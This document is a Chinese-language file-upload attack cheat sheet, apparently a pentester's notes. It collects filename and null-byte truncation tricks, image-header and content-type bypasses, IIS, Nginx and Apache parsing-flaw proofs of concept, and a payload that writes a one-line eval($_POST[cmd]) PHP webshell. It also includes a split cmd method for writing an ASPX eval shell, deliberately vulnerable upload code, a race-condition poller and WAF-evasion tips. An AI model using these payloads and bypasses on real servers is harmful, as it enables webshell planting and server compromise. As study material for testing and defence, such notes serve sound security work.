CVE
PHPCMS9.6.0 富文本编辑器 - FCK
常见文件处理函数
JavaScript
indexOf()
lastIndexOf()
PHP
include() include_once() require() require_once() file_exists() is_file() file_ext() unlink() rename() trim() stripcslashes() htmlspecialchars() strlen() in_array() / strpos() strrpos() file_get_contents() readfile() fopen() is_dir() mkdir() getimagesize() str_ireplace() getReailFileType() fread() fclose() unpack() image_type_to_extension()
basename()
strrchr()
move_uploaded_file() //cve-2015-2348 --Post请求00截断
strtolower()
substr()
imagecreatefromjpeg()
imagecreatefrompng()
imagecreatefromgif()
srand()
rand()
strval() //PHP 4, PHP 5, PHP 7
imagejpeg()
date()
pathinfo()
explode()
end()
current()
next()
prev()
reset()
each()
exif_imagetype(PHP 4 >= 4.3.0, PHP 5, PHP 7) - 常见图像类型常量
IMAGETYPE_GIF
IMAGETYPE_JPEG
IMAGETYPE_PNG
IMAGETYPE_SWF
IMAGETYPE_PSD
IMAGETYPE_BMP
IMAGETYPE_TIFF_II(Intel 字节顺序)
IMAGETYPE_TIFF_MM(Motorola 字节顺序)
IMAGETYPE_JPC
IMAGETYPE_JP2
IMAGETYPE_JPX
IMAGETYPE_JB2
IMAGETYPE_SWC
IMAGETYPE_IFF
IMAGETYPE_WBMP
IMAGETYPE_XBM
伪协议
file:// http:// ftp:// php:// zlib:// data:// glob:// phar:// ssh2:// rar:// ogg:// expect://
MIME
扩展名 文档类型 MIME 内容类型 .aac AAC audio audio/aac .abw AbiWord document application/x-abiword .arc Archive document (multiple files embedded) application/x-freearc .avi AVI: Audio Video Interleave video/x-msvideo .azw Amazon Kindle eBook format application/vnd.amazon.ebook .bin Any kind of binary data application/octet-stream .bmp Windows OS/2 Bitmap Graphics image/bmp .bz BZip archive application/x-bzip .bz2 BZip2 archive application/x-bzip2 .csh C-Shell script application/x-csh .css Cascading Style Sheets (CSS) text/css .csv Comma-separated values (CSV) text/csv .doc Microsoft Word application/msword .docx Microsoft Word (OpenXML) application/vnd.openxmlformats-officedocument.wordprocessingml.document .eot MS Embedded OpenType fonts application/vnd.ms-fontobject .epub Electronic publication (EPUB) application/epub+zip .gif Graphics Interchange Format (GIF) image/gif .htm .html HyperText Markup Language (HTML) text/html .ico Icon format image/vnd.microsoft.icon .ics iCalendar format text/calendar .jar Java Archive (JAR) application/java-archive .jpeg .jpg JPEG images image/jpeg .js JavaScript text/javascript .json JSON format application/json .jsonld JSON-LD format application/ld+json .mid .midi Musical Instrument Digital Interface (MIDI) audio/midi audio/x-midi .mjs JavaScript module text/javascript .mp3 MP3 audio audio/mpeg .mpeg MPEG Video video/mpeg .mpkg Apple Installer Package application/vnd.apple.installer+xml .odp OpenDocument presentation document application/vnd.oasis.opendocument.presentation .ods OpenDocument spreadsheet document application/vnd.oasis.opendocument.spreadsheet .odt OpenDocument text document application/vnd.oasis.opendocument.text .oga OGG audio audio/ogg .ogv OGG video video/ogg .ogx OGG application/ogg .otf OpenType font font/otf .png Portable Network Graphics image/png .pdf Adobe Portable Document Format (PDF) application/pdf .ppt Microsoft PowerPoint application/vnd.ms-powerpoint .pptx Microsoft PowerPoint (OpenXML) application/vnd.openxmlformats-officedocument.presentationml.presentation .rar RAR archive application/x-rar-compressed .rtf Rich Text Format (RTF) application/rtf .sh Bourne shell script application/x-sh .svg Scalable Vector Graphics (SVG) image/svg+xml .swf Small web format (SWF) or Adobe Flash document application/x-shockwave-flash .tar Tape Archive (TAR) application/x-tar .tif .tiff Tagged Image File Format (TIFF) image/tiff .ttf TrueType Font font/ttf .txt Text, (generally ASCII or ISO 8859-n) text/plain .vsd Microsoft Visio application/vnd.visio .wav Waveform Audio Format audio/wav .weba WEBM audio audio/webm .webm WEBM video video/webm .webp WEBP image image/webp .woff Web Open Font Format (WOFF) font/woff .woff2 Web Open Font Format (WOFF) font/woff2 .xhtml XHTML application/xhtml+xml .xls Microsoft Excel application/vnd.ms-excel .xlsx Microsoft Excel (OpenXML) application/vnd.openxmlformats-officedocument.spreadsheetml.sheet .xml XML application/xml 代码对普通用户来说不可读 (RFC 3023, section 3) text/xml 代码对普通用户来说可读 (RFC 3023, section 3) .xul XUL application/vnd.mozilla.xul+xml .zip ZIP archive application/zip .3gp 3GPP audio/video container video/3gpp audio/3gpp(若不含视频) .3g2 3GPP2 audio/video container video/3gpp2 audio/3gpp2(若不含视频) .7z 7-zip archive application/x-7z-compressed
系统特性
windows
7hang.php[空格]
7hang.php.
7hang.php:1.jpg
7hang.php::$DATA
7hang.php::$DATA......
. | /. | ./ 截断系统文件路径长度限制(windows 259bytes | linux 4096bytes)
Linux
7hang.phP
语言特性
PHP5.2.x
%00截断文件
PHP<v5.3.4
7hang.php%00.jpg
test.php(0x00).jpg
7hang.php .jpg” -> 空格由20改成00
PHP<5.4
前置条件:使用iconv()函数
7hang.php(hex).jpg(hex范围:0×80-0×99)
前端校验
双文件上传
修改前端代码,第一个上传正常文件,第二个选择一句话木马
<form enctype="multipart/form-data" method="post" action="http://pai.xx.com/server/">
<input type="file" name="files[]" />
<input type="file" name="files[]" />
<input type="submit">
</form>
文件内容
图片马
上传 xxx.jpg
利用PHP语言特性修改图片马后缀(如7hang.asp[空格]xxx.jpg)
文件包含 | 语言特性(Java反射调用外部jar包)
文件包含
1.上传 7hang.txt 2.上传 .php/asp/jsp的文件 PHP <?php Include("txt文件路径");?> ASP <!--#include file="txt文件路径" --> JSP <jsp:inclde page="txt文件路径"/><%@include file="txt文件路径"%>
内容替换
Runtime.getRuntime().exec() -> ProcessBuilder() -> 可绕过 YxlinkWAF
fileOutputStream() -> RandomAccessFile()
循序渐进
写cmdshell windows cmd 拆分 eval >>[Paht]7hang.aspx set/p=^<%@ Page Language="Jscript"%^> >>[Paht]7hang.aspx set/p=^<%ev >>[Paht]7hang.aspx set/p=al(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64)
写Webshell
文件内容-图片检测-getimagesize()
添加图片二进制数据
文件内容-文件加载-渲染
代码注入
文件内容-文件加载-二次渲染
需具体分析文件加载器
常见文件头
.JPEG;.JPE;.JPG,”JPGGraphic File” .gif,”GIF 89A” .zip,”Zip Compressed” .doc;.xls;.xlt;.ppt;.apr,”MS Compound Document v1 or Lotus Approach APRfile”
文件头绕过
GIF89a<?php phpinfo(); ?>
文件类型
修改content-type值
常见文件后缀名
phpphp2php3php5phtmlpht aspasacercdx aspxasmxascxashxasaccshtml jspjspxjspf exeexee
服务器文件特性
Apache .htaccesss文件 SetHandler application/x-httpd-php .user.ini文件
服务器解析特性
IIS
IIS5.x-IIS6.x - 修改"name"参数值为文件类型,下方内容为:xxx.asp -> 可创建 xxx.asp文件夹(具体需要看代码逻辑)
/xx.asp/xx.jpg -> IIS5.x-IIS6.x ->目录解析(需要能控制文件上传路径)- 该IIS版本多为asp站点
7hang.asp;.jpg -> IIS5.x-IIS6.x -> 文件解析 - 该IIS版本多为asp站点
Nginx
Nginx空字节代码执行漏洞
影响版本 Nginx 0.5.* Nginx 0.6.* Nginx 0.7 <= 0.7.65
Nginx 0.8 <= 0.8.37
POC
7hang.jpg%00.php
影响版本
Nginx 0.8.41 – 1.5.6
POC
jpg%20%00.php
前置条件:cgi.fix_pathinfo为开启状态(默认)
xxx.jpg/xxx.php xxx.jpg%00.php xxx.jpg/%20xxx.php
发现者:08sec
前置条件:Nginx Fast-CGI为开启状态
POC
xxx.jpg(内容:<?PHP fputs(fopen('7hang.php','w'),'<?php eval($_POST[cmd])?>');?>) -> 访问xxx.jpg/.php 触发
Apache
xxx.php.7hang -> 利用Apache解析规则
AddHandler php5-script .php -> 任意文件名中包含'.php'即被当成php文件解析(修改Apache配置文件)
AddType application/x-httpd-php .xxx -> 扩展名为'xxx' 会被当成php文件解析(修改Apache配置文件)
文件幻数
JFIF FF D8 FF E0 00 10 4A 46 49 46 GIF89a 47 49 46 38 39 61 PNG 89 50 4E 47
代码逻辑问题
%00路径截断(get请求)| 00十六进制截断(post请求) + 白名单检测绕过
$is_upload = false; $msg = null; if(isset($_POST['submit'])){ $ext_arr = array('jpg','png','gif'); $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1); if(in_array($file_ext,$ext_arr)){ $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = '上传出错!'; } } else{ $msg = "只允许上传.jpg|.png|.gif类型文件!"; } }
条件竞争
检测
import requests url = [host]/[Shell_Path]/[Shell_Name] while True: html = requests.get(url) if html.status_code == 200: print("success") break
save_name取数组值
$is_upload = false; $msg = null; if(!empty($_FILES['upload_file'])){ //检查MIME $allow_type = array('image/jpeg','image/png','image/gif'); if(!in_array($_FILES['upload_file']['type'],$allow_type)){ $msg = "禁止上传该类型文件!"; }else{ //检查文件名 $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name']; if (!is_array($file)) { $file = explode('.', strtolower($file)); } $ext = end($file); $allow_suffix = array('jpg','png','gif'); if (!in_array($ext, $allow_suffix)) { $msg = "禁止上传该后缀文件!"; }else{ $file_name = reset($file) . '.' . $file[count($file) - 1]; $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH . '/' .$file_name; if (move_uploaded_file($temp_file, $img_path)) { $msg = "文件上传成功!"; $is_upload = true; } else { $msg = "文件上传失败!"; } } } }else{ $msg = "请选择要上传的文件!"; }
Waf
数据填充 filename - 增加(安全狗)- 修改(filename="7hang.php"") POST/GET转换 Conten-Type字段 - 删除 Content-Disposition字段 Boundary字段 NTFS ADS特性 name字段